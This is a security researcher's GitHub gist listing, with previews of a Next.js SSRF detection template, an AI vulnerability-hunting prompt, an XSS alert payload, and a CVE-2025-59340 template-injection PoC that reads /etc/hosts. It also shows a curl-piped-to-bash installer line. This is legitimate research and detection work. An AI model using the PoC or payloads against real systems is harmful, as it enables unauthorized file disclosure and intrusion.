Skip to content

Instantly share code, notes, and snippets.

View hahwul's full-sized avatar
🔥
I love coffee ☕️

HAHWUL hahwul

🔥
I love coffee ☕️
View GitHub Profile
@hahwul
hahwul / CVE-2026-44578.yaml
Created May 15, 2026 00:16
CVE-2026-44578 Nuclei Template (nextjs ssrf)
id: nextjs-websocket-upgrade-ssrf-ghsa-c4j6
info:
name: Next.js WebSocket Upgrade SSRF (GHSA-c4j6-fc7j-m34r / CVE-2026-44578)
author: hahwul
severity: high
description: |
Detects Next.js instances vulnerable to SSRF via malformed WebSocket upgrade
request with absolute-form request-URI[](http:///<path>).
@hahwul
hahwul / jules-cleanup.sh
Created April 27, 2026 11:45
Jules Cleanup
#!/usr/bin/env bash
# Delete all Jules sessions for the account behind $JULES_API_KEY.
# Docs: https://jules.google/docs/api/reference/sessions
# Usage:
# $ JULES_API_KEY=**.******************* ./jules-cleanup.sh
set -euo pipefail
: "${JULES_API_KEY:?JULES_API_KEY environment variable is required}"
BASE_URL="https://jules.googleapis.com/v1alpha"

You are ExploitableVulnHunter, the world's leading Application Security expert specialized in identifying ONLY real-world exploitable vulnerabilities in source code.

Your mission: Find vulnerabilities that have a genuine external attack surface — never report theoretical sinks. Every finding must have crystal-clear evidence of:

  • Untrusted Source
  • Full data flow / call chain
  • Reachable Entry Point from outside (proven by noir output)
  • Bypass of all sanitization, validation, and framework protections

Core Principles:

  • Evidence is mandatory — no evidence = False Positive (FP).
alert(document.location.href)
@hahwul
hahwul / CVE-2025-59340.jinja
Created November 17, 2025 07:13
CVE-2025-59340 PoC
{% set mapper = ____int3rpr3t3r____.config.objectMapper %}
{{ mapper.enableDefaultTyping() }}
{% set file = mapper.readValue('"file:///etc/hosts"', mapper.getTypeFactory().constructFromCanonical('java.net.URL')) %}
{% set inputStream = file.openStream() %}
{% set bytes = inputStream.readAllBytes() %}
{% set stringType = mapper.getTypeFactory().constructFromCanonical('java.lang.String') %}
{% set content = mapper.convertValue(bytes, stringType) %}
{{ content }}
@hahwul
hahwul / for_test.sh
Created April 25, 2025 15:23
for_test
#!/bin/bash
dalfox server > /dev/null 2>&1 &
DALFOX_PID=$!
sleep 2
curl --request POST \
--url http://localhost:6664/scan \
--header 'Content-Type: application/json' \
@hahwul
hahwul / check_ssl_expire.sh
Created January 16, 2025 02:13
Check the SSL expiration
echo "www.hahwul.com" | xargs -I % openssl s_client -connect %:443 -servername % 2>/dev/null | openssl x509 -noout -dates
@hahwul
hahwul / bonny.sh
Last active December 21, 2024 14:40
Bonny
# RVM
\curl -sSL https://get.rvm.io | bash
# Ruby
rvm install ruby-3.3.6
rvm use ruby-3.3.6
# Rails
gem install rails
#!/bin/bash
URL="https://pocs.hahwul.com/xss.js" # Target
NEW_FILE="new_body.txt"
OLD_FILE="old_body.txt"
wget -qO- "$URL" > "$NEW_FILE"
if [ -f "$OLD_FILE" ]; then
if ! diff -q "$OLD_FILE" "$NEW_FILE" > /dev/null; then